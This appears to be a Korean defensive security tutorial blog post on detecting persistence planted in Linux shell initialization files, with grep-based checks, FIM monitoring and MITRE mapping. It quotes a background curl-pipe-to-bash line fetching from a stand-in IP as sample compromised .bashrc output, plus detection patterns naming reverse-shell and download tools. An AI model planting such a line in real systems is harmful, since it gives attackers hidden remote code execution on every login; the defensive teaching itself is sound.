Linux 시스템 보안 기초 · 33/50편

이 글은 리눅스 시스템 기초 · 파일 · 권한 · 사용자 관리 · 서비스 · 프로세스 관리 시리즈를 선행 학습으로 두고, 동일한 개념을 보안관제(SOC) 관점에서 한 단계 확장합니다.

선행 학습

1. 들어가며

shell 초기화 파일은 '로그인/쉘 시작 시 자동 실행되는 스크립트'입니다. 여기에 한 줄만 심으면, 사용자가 로그인할 때마다 악성 코드가 실행됩니다 — 조용하고 강력한 지속성입니다.

2. 핵심 개념

주요 초기화 파일과 실행 시점:

파일실행 시점
~/.bashrc대화형 비로그인 쉘 시작
~/.bash_profile, ~/.profile로그인 쉘 시작
/etc/profile, /etc/profile.d/*전역 로그인 쉘
/etc/bash.bashrc전역 대화형 쉘

전역 파일(/etc/profile.d/)은 모든 사용자에게 적용되어 파급력이 큽니다.

사용자 로그인
     │
     ▼
~/.bash_profile → ~/.bashrc 실행
     │ 여기에 심긴 한 줄:
     │ (curl http://.../x | bash &)
     ▼
로그인할 때마다 악성 코드 자동 실행 → 지속성

3. 동작 원리

쉘은 시작 시 종류(로그인/비로그인, 대화형/비대화형)에 따라 정해진 초기화 파일을 순서대로 읽어 실행합니다. 공격자는 이 파일 끝에 재접속·재실행 명령을 추가합니다. 사용자가 눈치채기 어렵도록 긴 정상 설정 사이에 숨기거나, 백그라운드(&)로 조용히 실행합니다.

전역 파일(/etc/profile.d/)에 심으면 모든 로그인 사용자가 트리거가 되어 파급력이 큽니다. 그래서 사용자 파일뿐 아니라 전역 파일까지 함께 점검해야 합니다.

4. 명령어 실습

# 사용자별 초기화 파일의 의심 패턴
sudo grep -rEi 'curl|wget|base64|/tmp/|/dev/shm|nc |bash -i|&\s*$' \
  /home/*/.bashrc /home/*/.bash_profile /home/*/.profile /root/.bashrc 2>/dev/null

# 전역 초기화 파일 점검
sudo grep -rEi 'curl|wget|base64|/tmp/' /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null

# 최근 변경된 초기화 파일
sudo find /home -maxdepth 2 -name '.bashrc' -o -name '.bash_profile' 2>/dev/null | xargs ls -l

5. 실행 결과

의심 패턴 검색 형식입니다. (예시 출력 — .bashrc 오염 가정)

$ sudo grep -rEi 'curl|bash -i' /home/*/.bashrc
/home/alice/.bashrc:(curl -s http://203.0.113.10/x | bash &) 2>/dev/null

alice의 .bashrc 끝에 백그라운드 다운로드-실행이 심겨 있습니다. alice가 로그인할 때마다 실행되므로, 해당 줄을 제거하고 유입 경로(누가 언제 수정했나)를 조사합니다. (본 실습 컨테이너에는 이런 오염이 없어 형식 예시입니다.)

6. 보안 관점 — 정상 사용 vs 악용

  • 정상: 초기화 파일에 설정·alias·PATH 조정 등만 존재.
  • 악성 징후:
    • 다운로드-실행/역쉘(bash -i)/인코딩 명령
    • 백그라운드(&) 실행 은닉
    • 전역 /etc/profile.d/의 낯선 스크립트
    • 초기화 파일의 최근 변경(침입 시각과 근접)

이 벡터는 '로그인'이라는 지극히 정상적인 행위를 트리거로 삼아 매우 은밀합니다.

7. 탐지 방법

  • 사용자·전역 초기화 파일 의심 패턴 grep
  • 초기화 파일 변경 시각 확인
  • ~/.bashrc 등 FIM 감시

8. SOC 관점 — SIEM · Wazuh · IOC

shell 초기화 파일 오염은 MITRE T1546.004(Unix Shell Configuration Modification)입니다. Wazuh FIM으로 사용자·전역 초기화 파일을 감시하고 변경을 알람합니다. SIEM에서는 이 변경을 로그인 이벤트와 연계해 '로그인 트리거 지속성'을 탐지합니다. 발견된 URL/IP는 IOC로 등록합니다.

9. 실습 체크리스트

[ ] 사용자 초기화 파일 의심 패턴 점검
[ ] 전역 profile.d 점검
[ ] 초기화 파일 변경 시각 확인
[ ] 초기화 파일 FIM 설정

10. 핵심 정리

  • shell 초기화 파일은 로그인 시 자동 실행되어 지속성 수단이 된다.
  • 사용자 파일과 전역(/etc/profile.d) 파일을 함께 점검한다.
  • 역쉘·다운로드 실행·백그라운드 은닉이 악성 신호다.
  • 전역 파일 오염은 모든 사용자에게 파급된다.
  • 로그인 이벤트와 파일 변경을 연계해 탐지한다.

11. 다음 편

다음 편에서는 34. SSH 인증키 기반 지속성 를 다룹니다. 15편에서 본 SSH 키를, 이번엔 '지속성 확립' 관점에서 다시 분석합니다.


본 실습은 격리된 테스트 VM(Rocky Linux / Ubuntu, VMware) 및 테스트 계정 환경을 기준으로 하며, 운영 서버를 대상으로 하지 않습니다. 실행 결과는 실제 캡처와 예시 출력을 명확히 구분해 표기합니다.

profile
코드에 숨겨진 위협을 읽고 AI로 보안의 미래를 설계합니다. 프론트엔드 개발 경험을 자산 삼아 더 견고하고 지능적인 보안 운영 시스템을 구축해 나가는 과정을 기록합니다

0개의 댓글